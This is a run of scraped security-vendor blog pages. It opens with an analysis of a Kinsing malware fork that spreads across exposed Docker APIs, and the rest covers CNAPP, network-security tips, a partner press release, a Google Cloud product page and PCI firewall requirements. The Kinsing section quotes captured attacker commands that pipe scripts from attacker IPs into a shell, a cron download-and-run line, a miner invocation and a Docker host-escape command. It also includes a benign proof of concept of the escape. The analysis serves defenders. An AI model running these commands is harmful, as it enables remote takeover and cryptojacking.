Search results

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Cloud computing has become a cornerstone of business operations, with cloud security at the forefront of strategic concerns. In a recent... Cloud Network Security Shaping tomorrow: Leading the way in cloud security Adel Osta Dadan 2 min read Adel Osta Dadan Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. cnapp Tags Share this article 12/28/23 Published Cloud computing has become a cornerstone of business operations, with cloud security at the forefront of strategic concerns. In a recent SANS webinar , our CTO Prof. Avishai Wool discussed why more companies are becoming more concerned protecting their containerized environments, given the fact that they are being targeted in cloud-based breaches more than ever. Watch the SANS webinar now! Embracing CNAPP (Cloud-Native Application Protection Platform) is crucial, particularly for its role in securing these versatile yet vulnerable container environments. Containers, encapsulating code and dependencies, are pivotal in modern application development, offering portability and efficiency. Yet, they introduce unique security challenges. With 45% of breaches occurring in cloud-based settings, the emphasis on securing containers is more critical than ever. CNAPP provides a comprehensive shield, addressing specific vulnerabilities inherent to containers, such as configuration errors or compromised container images. The urgent need for skilled container security experts The deployment of CNAPP solutions, while technologically advanced, also hinges on human expertise. The shortage of skills in cloud security management, particularly around container technologies, poses a significant challenge. As many as 35% of IT decision-makers report difficulties in navigating data privacy and security management, underscoring the urgent need for skilled professional’s adept in CNAPP and container security. The economic stakes of failing to secure cloud environments, especially containers, are high. Data breaches, on average, cost companies a staggering $4.35 million . This figure highlights not just the financial repercussions but also the potential damage to reputation and customer trust. CNAPP’s role extends beyond security, serving as a strategic investment against these multifaceted risks. As we navigate the complexitis of cloud security, CNAPP’s integration for container protection represents just one facet of a broader strategy. Continuous monitoring, regular security assessments, and a proactive approach to threat detection and response are also vital. These practices ensure comprehensive protection and operational resilience in a landscape where cloud dependency is rapidly increasing. The journey towards securing cloud environments, with a focus on containers, is an ongoing endeavour. The strategic implementation of CNAPP, coupled with a commitment to cultivating skilled cybersecurity expertise, is pivotal. By balancing advanced technology with professional acumen, organizations can confidently navigate the intricacies of cloud security, ensuring both digital and economic resilience in our cloud-dependent world. #CNAPP Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Modernize your network Cisco Nexus and Cisco ACI with AlgoSec Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Streamline security management for Cisco ACI with AlgoSec's solution, offering visibility, policy automation, and risk management for your network infrastructure. AlgoSec security management solution for Cisco ACI ---- ------- Schedule a Demo Select a size ----- Get the latest insights from the experts Choose a better way to manage your network

In this webinar, our experts demonstrate the usage of Objectflow in managing network objects Webinars Introducing Objectflow: Network Security Objects Made Simple In this webinar, our experts demonstrate the usage of Objectflow in managing network objects. January 31, 2022 Yoni Geva Product Manager Jacqueline Basil Product Marketing Manager Relevant resources AlgoSec AppViz – Rule Recertification Watch Video Changing the rules without risk: mapping firewall rules to business applications Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

The new alliance is designed to meet the growing needs of AlgoSec’s partners and customers to maintain their competitiveness by delivering enhanced services AlgoSec Teams with TD SYNNEX to Take Partner and Customer Service to New Heights The new alliance is designed to meet the growing needs of AlgoSec’s partners and customers to maintain their competitiveness by delivering enhanced services October 2, 2022 Speak to one of our experts RIDGEFIELD PARK, N.J., October 3, 2022 – AlgoSec, a global cybersecurity leader in securing application connectivity, has announced its new alliance with TD SYNNEX, a leading global distributor and solutions aggregator for the IT ecosystem. This partnership will enable AlgoSec’s partners to leverage a whole host of customer-centric resources. These include extended partner support and key customer touchpoint services through TD SYNNEX’s expansive distribution channels. AlgoSec partners working through TD SYNNEX Security Solutions will benefit from: Expedited SLAs on all AlgoSec quotes and orders within less than one business day Quarter-end extended hours Access to a dedicated AlgoSec Product Manager from SYNNEX AlgoSec Partners will still have AlgoSec Channel Managers. In addition, AlgoSec customers will enjoy an enhanced service offering, including: Hands-on cybersecurity expertise through TD SYNNEX Cyber Range Dedicated security focused team Pre-sales engineering support Vulnerability assessments, Bill of Materials (BoM), design Proof of Concept (PoC) “We are excited to add AlgoSec to our portfolio of products. Securing applications and managing policy management across hybrid networks is a major challenge for IT teams.” said Scott Young, Sr. Vice President, Strategic Procurement, TD SYNNEX. Jim Fairweather, AlgoSec VP Channels adds “I am fully confident that our partnership with TD SYNNEX will enable our channel partners to accelerate time to market and improve overall support to meet customer demands”. About AlgoSec  AlgoSec, a global cybersecurity leader, empowers organizations to secure application connectivity by automating connectivity flows and security policy, anywhere.  The AlgoSec platform enables the world’s most complex organizations to gain visibility, reduce risk and process changes at zero-touch across the hybrid network.   AlgoSec’s patented application-centric view of the hybrid network enables business owners, application owners, and information security professionals to talk the same language, so organizations can deliver business applications faster while achieving a heightened security posture.  Over 1,800 of the world’s leading organizations trust AlgoSec to help secure their most critical workloads across public cloud, private cloud, containers, and on-premises networks, while taking advantage of almost two decades of leadership in Network Security Policy Management.  See what securely accelerating your digital transformation, move-to-cloud, infrastructure modernization, or micro-segmentation initiatives looks like at www.algosec.com About TD SYNNEX TD SYNNEX (NYSE: SNX) is a leading global distributor and solutions aggregator for the IT ecosystem. We’re an innovative partner helping more than 150,000 customers in 100+ countries to maximize the value of technology investments, demonstrate business outcomes and unlock growth opportunities. Headquartered in Clearwater, Florida, and Fremont, California, TD SYNNEX’ 22,000 co-workers are dedicated to uniting compelling IT products, services and solutions from 1,500+ best-in-class technology vendors. Our edge-to-cloud portfolio is anchored in some of the highest-growth technology segments including cloud, cybersecurity, big data/analytics, IoT, mobility and everything as a service. TD SYNNEX is committed to serving customers and communities, and we believe we can have a positive impact on our people and our planet, intentionally acting as a respected corporate citizen. We aspire to be a diverse and inclusive employer of choice for talent across the IT ecosystem. For more information, visit www.TDSYNNEX.com or follow us on Twitter , LinkedIn , Facebook and Instagram .

Untangling Network Complexity Exploring Network Segmentation Strategies and Security Solutions for Enhanced Network Security Network segmentation solution & software (risk mitigation) Select a size Which network Can AlgoSec be used for continuous compliance monitoring? Yes, AlgoSec supports continuous compliance monitoring. As organizations adapt their security policies to meet emerging threats and address new vulnerabilities, they must constantly verify these changes against the compliance frameworks they subscribe to. AlgoSec can generate risk assessment reports and conduct internal audits on-demand, allowing compliance officers to monitor compliance performance in real-time. Security professionals can also use AlgoSec to preview and simulate proposed changes to the organization’s security policies. This gives compliance officers a valuable degree of lead-time before planned changes impact regulatory guidelines and allows for continuous real-time monitoring. What is network segmentation? What is network segmentation and why is it necessary? Which security risks does network segmentation mitigate? What are the most effective approaches to network segmentation? Which principles drive effective network segmentation? 21 questions that help you get network segmentation right 10 KPIs to measure success in network segmentation How AlgoSec helps you reap the benefits of network segmentation How to get started with network segmentation? Get the latest insights from the experts Use these six best practices to simplify compliance and risk mitigation with the AlgoSec Copy White paper Learn how AlgoSec can help you pass PCI-DSS Audits and ensure Copy Solution overview See how this customer improved compliance readiness and risk Copy Case study Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

As per Cloudwards , a new organization gets hit by ransomware every 14 seconds. This is despite the fact that global cybersecurity... Cyber Attacks & Incident Response How to improve network security (7 fundamental ways) Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/9/23 Published As per Cloudwards , a new organization gets hit by ransomware every 14 seconds. This is despite the fact that global cybersecurity spending is up and is around $150 billion per year. That’s why fortifying your organization’s network security is the need of the hour. Learn how companies are proactively improving their network security with these best practices. 7 Ways to improve network security: ` 1. Change the way you measure cyber security risk Cyber threats have evolved with modern cybersecurity measures. Thus, legacy techniques to protect the network are not going to work. These techniques include measures like maturity assessment, compliance attestation, and vulnerability aging reports, among other things. While they still have a place in cybersecurity, they’re insufficient. To level up, you need greater visibility over the various risk levels. This visibility will allow you to deploy resources as per need. At the bare minimum, companies need a dashboard that lists real-time data on the number of applications, the region they’re used in, the size and nature of the database, the velocity of M&A, etc. IT teams can make better decisions since the impact of new technologies like big data and AI falls unevenly on organizations. Along with visibility, companies need transparency and precision on how the tools behave against cyberattacks. You can use the ATT&CK Framework developed by MITRE Corporation, the most trustworthy threat behavior knowledge base available today. Use it as a benchmark to test the tools’ efficiency. Measuring the tools this way helps you prepare well in advance. Another measurement technique you must adopt is measuring performance against low-probability, high-consequence attacks. Pick the events that you conclude have the least chance of occurring. Then, test the tools on such attacks. Maersk learned this the hard way. In the notPetya incident , the company came pretty close to losing all of its IT data. Imagine the consequence it’d have on the company that handles the world’s supply chain. Measuring is the only way to learn whether your current cybersecurity arrangements meet the need. 2. Use VLAN and subnets An old saying goes, ‘Don’t keep all your eggs in the same basket.’ Doing so would mean losing the basket, losing all your eggs. That is true for IT networks as well. Instead of treating your network as a whole, divide it into multiple subnetworks. There are various ways you can do that: VLAN or Virtual LAN is one of them. VLAN helps you segment a physical network without investing in additional servers or devices. The different segments can then be handled differently as per the need. For example, the accounting department will have a separate segment, and so will the marketing and sales departments. This segmentation helps enhance security and limit damage. VLAN also helps you prioritize data, networks, and devices. There will be some data that is more critical than others. The more critical data warrant better security and protection, which you can provide through a VLAN partition. Subnets are another way to segment networks. As opposed to VLAN, which separates the network at the switch level, subnets partition the network at IP level or level 3. The various subnetworks can then communicate with each other and third-party networks over IP. With the adoption of technologies like the Internet of Things (IoT), network segmentation is only going to get more critical. Each device used for data generation, like smartwatches, sensors, and cameras, can act as an entry point to your network. If the entry points are connected to sensitive data like consumers’ credit cards, it’s a recipe for disaster. You can implement VLAN or subnets in such a scenario. 3. Use NGFWs for cloud The firewall policy is at the core of cybersecurity. They’re essentially the guardians who check for intruders before letting the traffic inside the network. But with the growth of cloud technologies and the critical data they hold, traditional firewalls are no longer reliable. They can easily be passed by modern malware. You must install NGFWs or Next Generation Firewalls in your cloud to ensure total protection. These firewalls are designed specifically to counter modern cyberattacks. An NGFW builds on the capabilities of a traditional firewall. Thus, it inspects all the incoming traffic. But in addition, it has advanced capabilities like IPS (intrusion prevention system), NAT (network address translation), SPI (stateful protocol inspection), threat intelligence feeds, container protection, and SSL decryption, among others. NGFWs are also both user and application-aware. This allows them to provide context on the incoming traffic. NGFWs are important not only for cloud networks but also for hybrid networks . Malware from the cloud could easily transition into physical servers, posing a threat to the entire network. When selecting a next-gen firewall for your cloud, consider the following security features: The speed at which the firewall detects threats. Ideally, it should identify the attacks in seconds and detect data breaches within minutes. The number of deployment options available. The NGFW should be deployable on any premise, be it a physical, cloud, or virtual environment. Also, it should support different throughput speeds. The home network visibility it offers. It should report on the applications and websites, location, and users. In addition, it should show threats across the separate network in real-time. The detection capabilities. It goes without saying, but the next-gen firewall management should detect novel malware quickly and act as an anti-virus. Other functionalities that are core security requirements. Every business is different with its unique set of needs. The NGFW should fulfill all the needs. 4. Review and keep IAM updated To a great extent, who can access what determines the security level of a network. As a best practice, you should grant access to users as per their roles and requirement — nothing less, nothing more. In addition, it’s necessary to keep IAM updated as the role of users evolves. IAM is a cloud service that controls unauthorized access for users. The policies defined in this service either grant or reject resource access. You need to make sure the policies are robust. This requires you to review your IT infrastructure, the posture, and the users at the organization. Then create IAM policies and grant access as per the requirement. As already mentioned, users should have remote access to the resources they need. Take that as a rule. Along with that, uphold these important IAM principles to improve access control and overall network security strategy: Zero in on the identity It’s important to identify and verify the identity of every user trying to access the network. You can do that by centralizing security control on both user and service IDs. Adopt zero-trust Trust no one. That should be the motto when handling a company’s network security. It’s a good practice to assume every user is untrustworthy unless proven otherwise. Therefore, have a bare minimum verification process for everyone. Use MFA MFA or multi-factor authentication is another way to safeguard network security. This could mean they have to provide their mobile number or OTA pin in addition to the password. MFA can help you verify the user and add an additional security layer. Beef up password Passwords are a double-edged sword. They protect the network but also pose a threat when cracked. To prevent this, choose strong passwords meeting a certain strength level. Also, force users to update their unique passwords regularly. If possible, you can also go passwordless. This involves installing email-based or biometric login systems. Limit privileged accounts Privileged accounts are those accounts that have special capabilities to access the network. It’s important to review such accounts and limit their number. 5. Always stay in compliance Compliance is not only for pleasing the regulators. It’s also for improving your network security. Thus, do not take compliance for granted; always make your network compliant with the latest standards. Compliance requirements are conceptualized after consulting with industry experts and practitioners. They have a much better authoritative position to discuss what needs to be done at an industry level. For example, in the card sector, it’s compulsory to have continuous penetration testing done. So, when fulfilling a requirement, you adopt the best practices and security measures. The requirements don’t remain static. They evolve and change as loopholes emerge. The new set of compliance frameworks helps ensure you’re up-to-date with the latest standards. Compliance is also one of the hardest challenges to tackle. That’s because there are various types of compliances. There are government-, industry-, and product-level compliance requirements that companies must keep up with. Moreover, with hybrid networks and multi-cloud workflows, the task only gets steeper. Cloud security management tools can help in this regard to some extent. Since they grant a high level of visibility, spotting non-compliance becomes easier. Despite the challenges, investing more is always wise to stay compliant. After all, your business reputation depends on it. 6. Physically protect your network You can have the best software or service provider to protect your wireless networks and access points. But they will still be vulnerable if physical protection isn’t in place. In the cybersecurity space, the legend has it that the most secure network is the one that’s behind a closed door. Any network that has humans nearby is susceptible to cyberattacks. Therefore, make sure you have appropriate security personnel at your premises. They should have the capability and authority to physically grant or deny access to those seeking access to the network on all operating systems. Make use of biometric IDs to identify the employees. Also, prohibit the use of laptops, USB drives, and other electronic gadgets that are not authorized. When creating a network, data security teams usually authorize each device that can access it. This is known as Layer 1. To improve network security policy , especially on Wi-Fi (WPA), ensure all the network devices and workstations and SSIDs connected to the network as trustworthy. Adopt the zero-trust security policies for every device: considered untrustworthy until proven otherwise. 7. Train and educate your employees Lastly, to improve network security management , small businesses must educate their employees and invest in network monitoring. Since every employee is connected to the Wi-Fi network somehow, everyone poses a security threat. Hackers often target those with privileged access. Such accounts, once exploited by cybercriminals, can be used to access different segments of the network with ease. Thus, such personnel should receive education on priority. Train your employees on attacks like phishing, spoofing, code injection, DNS tunneling, etc. With knowledge, employees can tackle such attempts head-on. This, in turn, makes the network much more secure. After the privileged account holders are trained, make others in your organization undergo the same training. The more educated they are, the better it is for the network. It’s worth reviewing their knowledge of cybersecurity from time to time. You can conduct a simple survey in Q&A format to test the competency of your team. Based on the results, you can hold training sessions and get everyone on the same page. The bottom line on network security Data breaches often come at a hefty cost. And the most expensive item on the list is the trust of users. Once a data leak happens, retaining customers’ trust is very hard. Regulators aren’t easy on the executives either. Thus, the best option is to safeguard and improve your network security . Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

With expertise in data management, search algorithms, and AI, Google has created a cloud platform that excels in both performance and... Hybrid Cloud Security Management Improve visibility and identify risk across your Google Cloud environments with AlgoSec Cloud Joseph Hallman 2 min read Joseph Hallman Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/12/23 Published With expertise in data management, search algorithms, and AI, Google has created a cloud platform that excels in both performance and efficiency. The advanced machine learning, global infrastructure, and comprehensive suite of services available in Google Cloud demonstrates Google’s commitment to innovation. Many companies are leveraging these capabilities to explore new possibilities and achieve remarkable outcomes in the cloud. When large companies decide to locate or move critical business applications to the cloud, they often worry about security. Making decisions to move certain applications to the cloud should not create new security risks. Companies are concerned about things like hackers getting access to their data, unauthorized people viewing or tampering with sensitive information, and meeting compliance regulations. To address these concerns, it’s important for companies to implement strong security measures in the cloud, such as strict access controls, encrypting data, constantly monitoring for threats, and following industry security standards. Unfortunately, even with the best tools and safeguards in place it is hard to protect against everything. Human error plays a major part in this and can introduce threats with a few small mistakes in configuration files or security rules that can create unnecessary security risks. The CloudFlow solution from AlgoSec is a network security management solution designed for cloud environments. It provides clear visibility, risk analysis, and helps identify unused rules to help with policy cleanup across multi-cloud deployments. With CloudFlow, organizations can manage security policies, better understand risk, and enhance their overall security in the cloud. It offers centralized visibility, helps with policy management, and provides detailed risk assessment. With Algosec Cloud, and support for Google Cloud, many companies are gaining the following new capabilities: Improved visibility Identifying and reduce risk Generating detailed risk reports Optimizing existing policies Integrating with other cloud providers and on-premise security devices Improve overall visibility into your cloud environments Gain clear visibility into your Google Cloud, Inventory, and network risks. In addition, you can see all the rules impacting your Google Cloud VPCs in one place. View network and inherited policies across all your Google Cloud Projects in one place. Using the built-in search tool and filters it is easy to search and locate policies based on the project, region, and VPC network. View all the rules protecting your Google Cloud VPCs in one place. View VPC firewall rules and the inherited rules from hierarchical firewall policies Gain visibility for your security rules and policies across all of your Google Cloud projects in one place. Identify and Reduce Risk in your Cloud Environments CloudFlow includes the ability to identify risks in your Google Cloud environment and their severity. Look across policies for risks and then drill down to look at specific rules and the affected assets. For any rule, you can conveniently view the risk description, the risk remediation suggestion and all its affected assets. Quickly identify policies that include risk Look at risky rules and suggested remediation Understand the assets that are affected Identify risky rules so you can confidently remove them and avoid data breaches. Tip: Hover over the: Description icon : to view the risk description. Remediation icon: to view the remediation suggestion. Quickly create and share detailed risk reports From the left menu select Risk and then use the built-in filters to narrow down your selection and view specific risk based on cloud type, account, region, tags, and severity. Once the selections are made a detailed report can be automatically generated for you by clicking on the pdf report icon in the top right of the screen. Generate detailed risk reports to share in a few clicks. Optimize Existing Policies Unused rules represent a common security risk and create policy bloat that can complicate both cloud performance and connectivity. View unused rules on the Overview page, for each project you can see the number of Google Cloud rules not being used based on a defined analysis period. This information can assist in cleaning the policies and reducing the attack surface. Select analysis period Identify unused rule to help optimize your cloud security policies Quickly locate rules that are not in use to help reduce your attack surface. Integrate with other cloud providers and on-premise security devices Manage Google Cloud projects, other cloud solutions, and on-premise firewall devices by using AlgoSec Cloud along with the AlgoSec Security Management Suite (ASMS). Integrate with the full suite of solutions from AlgoSec for a powerful and comprehensive way to manage applications connectivity across your entire hybrid environment. CloudFlow plus ASMS provides clear visibility, risk identification, and other capabilities across large complex hybrid networks. Resources- Quick overview video about CloudFlow and Google Cloud support For more details about AlgoSec Security Management Suite or to schedule a demo please visit- www.algosec.com Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

So we’ve made it to the last part of our blog series on PCI 3.0 Requirement 1. The first two posts covered Requirement 1.1... Auditing and Compliance Avoid the Traps: What You Need to Know About PCI Requirement 1 (Part 3) Matthew Pascucci 2 min read Matthew Pascucci Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/9/14 Published So we’ve made it to the last part of our blog series on PCI 3.0 Requirement 1. The first two posts covered Requirement 1.1 (appropriate firewall and router configurations) and 1.2 (restrict connections between untrusted networks and any system components in the cardholder data environment) and in this final post we’ll discuss key requirements of Requirements 1.3 -1.5 and I’ll again give you my insight to help you understand the implications of these requirements and how to comply with them. Implement a DMZ to limit inbound traffic to only system components that provide authorized publicly accessible services, protocols, and ports (1.3.1.): The DMZ is used to publish services such as HTTP and HTTPS to the internet and allow external entities to access these services. But the key point here is that you don’t need to open every port on the DMZ. This requirement verifies that a company has a DMZ implemented and that inbound activity is limited to only the required protocols and ports. Limit inbound Internet traffic to IP addresses within the DMZ (1.3.2): This is a similar requirement to 1.3.1, however instead of looking for protocols, the requirement focuses on the IPs that the protocol is able to access. In this case, just because you might need HTTP open to a web server, doesn’t mean that all systems should have external port 80 open to inbound traffic. Do not allow any direct connections inbound or outbound for traffic between the Internet and the cardholder data environment (1.3.3): This requirement verifies that there isn’t unfiltered access, either going into the CDE or leaving it, which means that all traffic that traverses this network must pass through a firewall. All unwanted traffic should be blocked and all allowed traffic should be permitted based on an explicit source/destination/protocol. There should never be a time that someone can enter or leave the CDE without first being inspected by a firewall of some type. Implement anti-spoofing measures to detect and block forged source IP addresses from entering the network (1.3.4): In an attempt to bypass your firewall, cyber attackers will try and spoof packets using the internal IP range of your network to make it look like the request originated internally. Enabling the IP spoofing feature on your firewall will help prevent these types of attacks. Do not allow unauthorized outbound traffic from the cardholder data environment to the Internet (1.3.5): Similar to 1.3.3, this requirement assumes that you don’t have direct outbound access to the internet without a firewall. However in the event that a system has filtered egress access to the internet the QSA will want to understand why this access is needed, and whether there are controls in place to ensure that sensitive data cannot be transmitted outbound. Implement stateful inspection, also known as dynamic packet filtering (1.3.6): If you’re running a modern firewall this feature is most likely already configured by default. With stateful inspection, the firewall maintains a state table which includes all the connections that traverse the firewall, and it knows if there’s a valid response from the current connection. It is used to stop attackers from trying to trick a firewall into initiating a request that didn’t previously exist. Place system components that store cardholder data (such as a database) in an internal network zone, segregated from the DMZ and other untrusted networks 